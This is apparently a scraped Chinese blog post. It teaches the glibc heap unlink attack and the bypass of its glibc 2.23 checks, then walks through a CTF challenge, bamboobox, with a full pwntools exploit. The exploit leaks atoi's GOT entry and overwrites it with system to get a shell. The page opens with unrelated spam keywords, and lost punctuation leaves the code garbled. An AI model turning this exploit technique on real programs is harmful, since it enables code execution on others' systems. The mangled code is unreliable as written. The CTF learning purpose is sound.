无忧主机建站的过程,足球排行榜前十名,重庆广告公司前十名,成都科技公司排名堆机制我研究了很久#xff0c;一直没有什么很大的进展。堆相较于栈难度大的多。利用手法也多。目前还没有怎么做过堆题。这次就把理解了很久的Unlink写一写。然后找一题实践一下。
在glibc中#xff0c;堆管理都是用一个个chunk去组织的。这个就不过多阐述。Unlink是glibc一…堆机制我研究了很久一直没有什么很大的进展。堆相较于栈难度大的多。利用手法也多。目前还没有怎么做过堆题。这次就把理解了很久的Unlink写一写。然后找一题实践一下。
在glibc中堆管理都是用一个个chunk去组织的。这个就不过多阐述。Unlink是glibc一段宏操作。目的是将一个空闲chunk从双向链表组织的bins中摘下做后续的操作。Unlink攻击其实是为了欺骗堆管理器造成任意地址可读可写。wiki的描述其实挺好我这里把这个32位的没有检测的攻击原理详细描述一次以便后续理解64位中加入检测的绕过攻击手段。首先我们要理解Unlink到底干什么。 这是Unlink的源码不管检测我们只看大概操作wiki的图总结的很好 其实就是所谓的断链操作让P的前一个chunk指向后一个chunk然后P的后一个chunk指回P的前一个chunk。这个理解后我们现在可以写一段程序
#includestdio.h
#includestdlib.hint main()
{
void *chunk1_ptr(void*)malloc(0x80);
void *chunk2_ptr(void*)malloc(0x80);void * chunk3_ptr;
void * c(void*)malloc(0x20); //防止top chunk 合并free(chunk2_ptr);gets(%s,chunk1_ptr); //有UAF才行 直接执行会发生段错误 只作为演示free(chunk1_ptr);return 0;
}
这段代码只是为了解释这个效果并不能直接运行。一开始创建2个堆大小是0x80在创建一个小堆防止合并。紧接着我们把chunk2释放掉。这个时候chunk2会进入到small bins中。我们知道在small bins中chunk的管理是双向链表。因此Unlink是会发生在这里的。 画图演示这个过程 我们假设程序通过溢出或者UAF修改了chunk2的fd和bk我这里让chunk2的fd指向free的got表地址bk指向一段内存中我们可读可写可执行的地方也就是能布置shellcode的。紧接着我们把chunk1也释放掉。这个时候,glibc会做如下几步的操作 glibc 判断这个块是 small chunk判断前向合并发现前一个 chunk 处于使用状态不需要前向合并判断后向合并发现后一个 chunk 处于空闲状态需要合并继而对 Nextchunk 采取 unlink 操作 它检测到chunk2是一个空闲块。但是此时chunk2在small bins里。想要合并就得先拿下来。这就会执行Unlink执行拿下来的操作然后再做合并。进入到Unlink步骤我们看看会发生什么 FDP-fd freegot-12BKP-bk shellcode地址FD-bk BKFD指向BKBK-fd FDBK指向FD 前两步的图如下 后两步的图如下 此时我们的布局就完成了。那么它为何能起到任意地址读写呢。我们知道P的fd和bk都是我们自己构造的。就像上图我想在free的got表里写入我们自己的shellcode地址那么我们只需要将想要写入的地址-12填入fd就能通过伪造的chunk找到。接下来我们再把这块内存申请出来因为在 small bin 中glibc 采用了一种先进先出First In First OutFIFO的策略。也就是说当你再次申请内存时glibc 会从 bin 的头部摘取第一个可用的 chunk。这是因为 small bin 维护了一个循环链表新的 chunk 会被插入到链表的尾部而分配时则从链表的头部开始查找可用的 chunk。因此当我们再次malloc同样大小的chunk的时候它将会把BK给我们申请出来申请出来的内存空间我们就能随意改写了。当我们再次调用free函数的时候将会去执行我们的shellcode。 上述是我们没有考虑glibc的一些保护机制从而能达到这种攻击方式。但是在2.23版本的glibc中是有对unlink的正确性做检查的。
// fd bk
if (__builtin_expect (FD-bk ! P || BK-fd ! P, 0)) \malloc_printerr (check_action, corrupted double-linked list, P, AV); \这种情况下会检验FD-bk以及BK-fd是否指向的是同一个。意味着如果篡改了glibc将不会完成后续的Unlink操作。不仅对这个有检验还对chunk_size有所检验 // 由于P已经在双向链表中所以有两个地方记录其大小所以检查一下其大小是否一致。if (__builtin_expect (chunksize(P) ! prev_size (next_chunk(P)), 0)) \malloc_printerr (corrupted size vs. prev_size); \因此在2.23中想要绕过这两个检验我们需要伪造chunk也就是俗称的fake_chunk。 并且我们需要在构造的时候P的fd和bk的指向要构造的像那么回事才能绕过检测。那么怎么构造呢。假设有一个指向P这个chunk的地址叫addr1。那么当我们构造P这个chunk的时候 fdaddr1-0x18 bkaddr1-0x10
在检验的时候就会绕过检测。我们画图理解这个过程 这个时候如果P_chunk发生unlink将会变成如下形式 这样我们就能绕过验证网上有师傅总结这个公式是怎么算出来的。我也忘了有兴趣的可以查下。接着执行后续步骤后续步骤执行完我们能得到一个很神奇的东西 形成这样的效果后如果我们往里面填入一个got表的地址假设是free的got表。我们看看会发生什么当我们能往这个地址写入数据的时候他将能指向任意地址并写入 这就是整个unlink的攻击效果。下面我们拿一题来练练手熟悉下这个过程。选题为BUUCTF上的
hitcontraining_bamboobox1。简单查看下保护没有PIE运用unlink一般不能开PIE,大概测试了下是个增删改查的小程序 IDA中查看了下逻辑 程序存在堆溢出漏洞。我们可以通过溢出覆盖下一个chunk构造fake_chunk并进行unlink。构造如下 payload p64(0) p64(0x81) p64(bss - 3 * 8) p64(bss - 2 * 8) ba * (0x80 - 0x20) payload p64(0x80) p64(0x90) 这样构造的目的是改写下一个chunk的标志位触发fake_chunk能够进行unlink操作并且在第二个chunk的数据域构造一个伪chunk。bss是我们存放堆地址的空间 接着我们释放fake_chunk进行unlink操作后每当我们向chunk0写东西时他将写入的东西传给了bss-0x18的位置。由于程序中每次到用到atoi函数因此我们的想法是改atoi函数的got表让他指向system函数。因此我们泄露atoi函数地址后再通过写入bss-0x18进行改写完整WP如下这是别的师傅写的我觉得比较好注释也比较详细便于理解
# -*- coding: utf-8 -*-from pwn import *#sh remote(node4.buuoj.cn, 28735)
sh process(./bamboobox) # linux本地运行
context.log_level debug # 开启debug模式
elf ELF(./bamboobox) # 把elf文件放到代码目录下
libc ELF(./libc-2.23.so) # 把libc的so文件放到目录下# 首先是写函数来模拟增删改查四种api之后只能用这四个函数与程序进行交互
def show_item():sh.sendlineafter(bYour choice:, b1)def add_item(length, name):sh.sendlineafter(bYour choice:, b2)sh.sendlineafter(bPlease enter the length of item name:, str(length).encode())sh.sendlineafter(bPlease enter the name of item:, name.encode())def change_item(index, length, name):sh.sendlineafter(bYour choice:, b3)sh.sendlineafter(bPlease enter the index of item:, str(index).encode())sh.sendlineafter(bPlease enter the length of item name:, str(length).encode())sh.sendlineafter(bPlease enter the new name of the item:, name)def remove_item(index):sh.sendlineafter(bYour choice:, b4)sh.sendlineafter(bPlease enter the index of item:, str(index).encode())if __name__ __main__:bss 0x6020c8 # bss节基址change_item根据bss[0]来找修改的目标内存#gdb.attach(sh)add_item(0x80, fake_chunk) # 申请一块0x80B的内存构造fake_chunkadd_item(0x80, f) # chunk_fadd_item(0x10, other)# 构造fake_chunk[prev_size, size, fd, bk, data]payload p64(0) p64(0x81) p64(bss - 3 * 8) p64(bss - 2 * 8) ba * (0x80 - 0x20)# 覆盖f的prev_size和sizepayload p64(0x80) p64(0x90)change_item(index0, lengthlen(payload), namepayload) # 利用change的堆溢出漏洞将payload写入堆中remove_item(index1) # free(f)之后bss[0]bss-3*8。这样一来只要向chunk0写数据就等于向bss-3*8处写数据# 读取atoi()在got表中的地址atoigot写入到bss[0]处atoi_got elf.got[atoi]payload p64(0) * 3 p64(atoi_got)change_item(0, len(payload), payload)# show泄露atoi()地址打印出来show_item()sh.recvuntil(b0 : )atoi_addr u64(sh.recv(6).ljust(8, b\x00)) # 接收6个字节。填充成8字节转为64位整数success(atoi_addr:%x % atoi_addr)libc_base atoi_addr - libc.sym[atoi] # 计算出libc的基址atoi在内存中的地址-atoi相对libc的地址success(libc_base:%x % libc_base)# 由于此时bss[0]atoi在got中的地址所以程序会认为此处是chunk写入system的地址。从而将GOT表中原来atoi地址的位置覆盖成system函数的内存地址change_item(0, 8, p64(libc_base libc.sym[system]))# 发送/bin/sh程序会将其传给之前atoi位置的system函数执行shellsh.sendlineafter(bYour choice:, b/bin/sh)sh.interactive() 例题的讲解讲的不是很好写了太久脑袋有点混沌了。抽空我再完善下wp部分。有师傅打这题用的house_of_orange有兴趣的可以参看。
参考链接https://www.cnblogs.com/nemuzuki/p/17293352.html